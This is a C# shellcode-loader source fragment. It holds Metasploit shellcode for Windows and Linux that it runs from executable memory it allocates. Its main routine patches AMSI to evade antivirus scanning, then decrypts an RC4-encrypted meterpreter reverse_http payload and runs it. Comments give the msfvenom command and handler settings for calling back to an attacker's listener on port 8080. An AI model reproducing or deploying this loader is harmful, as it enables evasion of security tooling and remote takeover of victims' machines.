0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,
0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75,
0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63,
0x2e, 0x65, 0x78, 0x65, 0x00
}
};
IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
Marshal.Copy(payload, 0, ptr, payload.Length);
WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
r();
}
else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128) //linux
{
if (!x86)
{
/*
* linux/x64/exec - 55 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, CMD=/usr/bin/whoami
*/
payload = new byte[] {
0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x10, 0x00,
0x00, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x77, 0x68, 0x6f, 0x61,
0x6d, 0x69, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
}
}
;
else
{
/*
* linux/x86/exec - 51 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, CMD=/usr/bin/whoami
*/
payload = new byte[] {
0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68,
0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x10, 0x00, 0x00, 0x00, 0x2f,
0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00,
0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
}
};
IntPtr ptr = IntPtr.Zero;
IntPtr success;
bool freeMe = false;
try
{
int pagesize = 4096;
IntPtr length = (IntPtr)payload.Length;
success = posix_memalign(ref ptr, (IntPtr)32, length);
if (success != IntPtr.Zero)
{
Console.WriteLine("Bail! memalign failed: " + success);
return;
}
freeMe = true;
IntPtr alignedPtr = (IntPtr)((int)ptr & ~(pagesize - 1)); //get page boundary
IntPtr mode = (IntPtr)(0x04 | 0x02 | 0x01); //RWX -- careful of selinux
success = mprotect(alignedPtr, (IntPtr)32, mode);
if (success != IntPtr.Zero)
{
int err = Marshal.GetLastWin32Error();
Console.WriteLine("Bail! mprotect failed: " + err);
return;
}
Marshal.Copy(payload, 0, ptr, payload.Length);
LinuxRun r = (LinuxRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun));
r();
}
finally
{
if (freeMe)
{
free(ptr);
}
}
}
}
}
static void Main(string[] args)
{
// SharpSploit's AMSI Bypass by _RastaMouse
SharpSploit.Evasion.Amsi.PatchAmsiScanBuffer();
// Replace payload below and make sure to add this to your exploit/multi/handler options:
// set autoverifysession false
// set autoloadstdapi false
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=eth0 LPORT=8080 -f csharp --encrypt rc4 --encrypt-key kekz -v payload
byte[] payload = new byte[704] {
0x6e, 0x3a, 0x38, 0xe0, 0x8a, 0xf9, 0x47, 0x8b, 0x79, 0xd7, 0xc7, 0x79, 0x6d, 0xf4, 0x1c,
0xf3, 0xd6, 0xc1, 0xf6, 0x55, 0x66, 0x8b, 0xfc, 0xaa, 0xf3, 0xa8, 0x5c, 0x4c, 0xda, 0xa0,
0x43, 0x1b, 0x96, 0x21, 0x36, 0x4d, 0xd8, 0x7c, 0xf2, 0xba, 0x3c, 0xcd, 0x0d, 0x93, 0xaf,
0x0b, 0x8a, 0xbb, 0x34, 0xa7, 0x5f, 0x4b, 0xb9, 0x0c, 0x89, 0x9a, 0x6c, 0x87, 0x8d, 0xc9,
0xf8, 0xd4, 0x38, 0x6e, 0x99, 0xe2, 0xb0, 0x28, 0x10, 0x5d, 0xd6, 0x16, 0xf9, 0x41, 0xc4,
0x98, 0xf0, 0x29, 0x2d, 0x54, 0x53, 0x59, 0xb1, 0xda, 0x9d, 0xaf, 0x69, 0x3a, 0x05, 0x38,
0x6d, 0xd1, 0x2e, 0xcd, 0xf2, 0x4a, 0xdf, 0x5b, 0xd0, 0x78, 0xa9, 0x04, 0x03, 0xe3, 0x61,
0x56, 0xd0, 0x41, 0xf0, 0x8d, 0x4c, 0xa2, 0x0d, 0xbd, 0x77, 0xa2, 0x8f, 0x79, 0xd3, 0xdd,
0x20, 0x44, 0x40, 0x76, 0x4b, 0xbb, 0xd1, 0xf3, 0xd3, 0xce, 0x29, 0x77, 0xd3, 0x89, 0x95,
0x43, 0x11, 0xc0, 0xd7, 0x7d, 0x57, 0xc6, 0x4f, 0x44, 0x8f, 0x06, 0x3b, 0x61, 0x1c, 0x7f,
0xb5, 0xc0, 0x2f, 0xfe, 0x37, 0x34, 0x99, 0x86, 0x82, 0xa6, 0x56, 0xe6, 0x34, 0x31, 0xec,
0x3c, 0x19, 0x9e, 0xa1, 0x10, 0x9b, 0x7d, 0x3d, 0xe5, 0x48, 0x4e, 0xbe, 0x44, 0x02, 0xbc,
0x12, 0xdf, 0xd5, 0x69, 0x6c, 0x55, 0xa1, 0xf1, 0xba, 0x59, 0xf6, 0x6f, 0x3e, 0x4e, 0x2a,
0xfa, 0xea, 0x23, 0x78, 0x51, 0x9e, 0xca, 0x5f, 0x8d, 0x99, 0xbf, 0x11, 0x44, 0x45, 0x72,
0xe8, 0x24, 0x4e, 0x65, 0xc5, 0xd9, 0xd5, 0xae, 0xdb, 0xfe, 0xae, 0xf1, 0x6a, 0x2c, 0xd3,
0x71, 0x67, 0x94, 0xad, 0x62, 0x1c, 0x9d, 0xb3, 0x2a, 0xbf, 0x3e, 0xb0, 0xc9, 0x8a, 0x82,
0x6b, 0x8b, 0x82, 0x8a, 0xe9, 0xb1, 0x4d, 0xb4, 0x22, 0xff, 0x49, 0xcd, 0x2b, 0xe6, 0xb1,
0xe4, 0x81, 0x2b, 0x72, 0x60, 0x75, 0x87, 0x51, 0x9e, 0x86, 0x0d, 0x4d, 0x87, 0x7e, 0x52,
0x09, 0x16, 0xa7, 0x70, 0x1f, 0x1b, 0x16, 0x94, 0xbd, 0xf9, 0x52, 0x73, 0x87, 0xde, 0x5b,
0x3e, 0x63, 0x59, 0xd7, 0x0d, 0x4e, 0xd5, 0x7a, 0x4c, 0x24, 0xd3, 0xae, 0x39, 0x16, 0x20,
0x8d, 0x17, 0x55, 0x91, 0x7b, 0x71, 0x33, 0xcc, 0xd4, 0xd8, 0xd4, 0xeb, 0xe7, 0xed, 0x67,
0x12, 0x07, 0x49, 0xad, 0xc6, 0xf8, 0xe9, 0x7d, 0x22, 0x67, 0x8b, 0xb5, 0x52, 0x05, 0xe4,
0x52, 0x05, 0xf6, 0x00, 0x36, 0xa2, 0x33, 0x00, 0xcb, 0xfb, 0x06, 0x28, 0x5d, 0x29, 0xa0,
0x0c, 0xd4, 0xee, 0xcb, 0x4d, 0xbc, 0x9c, 0xfd, 0x6a, 0x03, 0xda, 0xf8, 0xc1, 0xaa, 0xf5,
0xd8, 0xfb, 0x85, 0x8a, 0x25, 0x69, 0x30, 0x25, 0x36, 0xb6, 0xa1, 0x93, 0x39, 0xc4, 0x8d,
0x63, 0xcf, 0x38, 0xa8, 0x32, 0xdf, 0x06, 0x90, 0xb2, 0xc9, 0xfb, 0x94, 0x0f, 0x56, 0xb3,
0x1d, 0x20, 0xe8, 0xf9, 0xa0, 0xa3, 0x79, 0xdc, 0x1d, 0xb2, 0x4c, 0xdf, 0x49, 0x4c, 0xc4,
0x31, 0xc9, 0x5e, 0xc3, 0x8e, 0x38, 0x40, 0xe8, 0x01, 0xc1, 0x3a, 0x98, 0x10, 0x71, 0x56,
0xbe, 0x6f, 0x05, 0x40, 0x0c, 0x56, 0x5e, 0x16, 0x29, 0x16, 0x12, 0x2e, 0x34, 0xe4, 0x18,
0x18, 0xf7, 0x8e, 0x3c, 0xbf, 0xf0, 0x83, 0xae, 0xb6, 0x62, 0x68, 0x46, 0xa3, 0x6b, 0xee,
0xdd, 0x5f, 0xc9, 0xc9, 0x8e, 0x0d, 0x05, 0xf1, 0x57, 0x79, 0xec, 0x9b, 0x87, 0xc0, 0x8d,
0x6e, 0xce, 0xd6, 0xb7, 0x90, 0xbf, 0x4d, 0x96, 0x70, 0x33, 0xf4, 0xdb, 0xf2, 0x8a, 0xee,
0x67, 0xc2, 0x09, 0x1e, 0x51, 0xd6, 0x59, 0x7c, 0x40, 0xaa, 0x42, 0x1a, 0xb6, 0x16, 0x8d,
0x52, 0xdb, 0x53, 0x18, 0x82, 0x72, 0xd0, 0x4b, 0xf5, 0x5a, 0x5a, 0xb5, 0x04, 0x43, 0x4a,
0xa3, 0x07, 0x49, 0xec, 0xeb, 0xf4, 0xc1, 0x7c, 0x6b, 0xbe, 0xc3, 0xf6, 0x8a, 0xe3, 0x03,
0x07, 0xcc, 0x78, 0x54, 0xdb, 0xa3, 0x98, 0xf7, 0x68, 0x45, 0x72, 0x5e, 0x7b, 0xac, 0x70,
0x9b, 0x57, 0x91, 0x3c, 0x64, 0x28, 0x35, 0xad, 0x6f, 0xe3, 0xec, 0x0e, 0x02, 0xc8, 0xd8,
0x8a, 0x9a, 0x8a, 0xd8, 0xf9, 0xfa, 0xc2, 0x15, 0x33, 0x27, 0xce, 0x6d, 0xb3, 0x1a, 0xaf,
0x46, 0x94, 0x16, 0x4b, 0x53, 0x4e, 0x59, 0xb5, 0xda, 0x61, 0xd1, 0x9a, 0x5c, 0x44, 0x31,
0xa5, 0xb9, 0x92, 0x09, 0x67, 0x02, 0x5e, 0x2c, 0xad, 0x9d, 0x89, 0x57, 0x93, 0x98, 0x03,
0x49, 0xea, 0x8c, 0x1f, 0xe1, 0xb3, 0xbf, 0xbb, 0x6f, 0xac, 0xa9, 0x98, 0x51, 0x54, 0xa8,
0xcc, 0x28, 0x47, 0x08, 0x52, 0xf2, 0x61, 0xf5, 0x47, 0xcb, 0x71, 0x66, 0x5c, 0x74, 0x5a,
0xcf, 0x70, 0x66, 0x6f, 0xe9, 0x69, 0x0d, 0x99, 0xf3, 0x42, 0xff, 0xa7, 0xfd, 0x67, 0x98,
0x32, 0x42, 0x85, 0xec, 0xb8, 0x75, 0x44, 0xfc, 0x43, 0x56, 0xcf, 0xf3, 0x86, 0xa0, 0x49,
0x81, 0x17, 0x04, 0xa1, 0xbe, 0xa9, 0xff, 0xcf, 0x80, 0x2e, 0x1a, 0xb6, 0x88, 0x03, 0xf7,
0x69, 0xe3, 0xe3, 0xf1, 0x54, 0x9c, 0x67, 0xe8, 0xb9, 0x43, 0x3a, 0x4d, 0x38, 0x51, 0x49,
0x2c, 0xc7, 0x14, 0xbe, 0x8b, 0x18, 0x48, 0xec, 0x55, 0xf9, 0x05, 0x94, 0xb2, 0xfb
};
string key = "kekz"; // Insert your RC4 key here
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
var decryptedPayload = RC4.Decrypt(keyBytes, payload);
IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)decryptedPayload.Length, (IntPtr)0x1000, (IntPtr)0x40);
Marshal.Copy(decryptedPayload, 0, ptr, decryptedPayload.Length);
WindowsRun invokeMsf = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
// Call Delegate
invokeMsf();
}
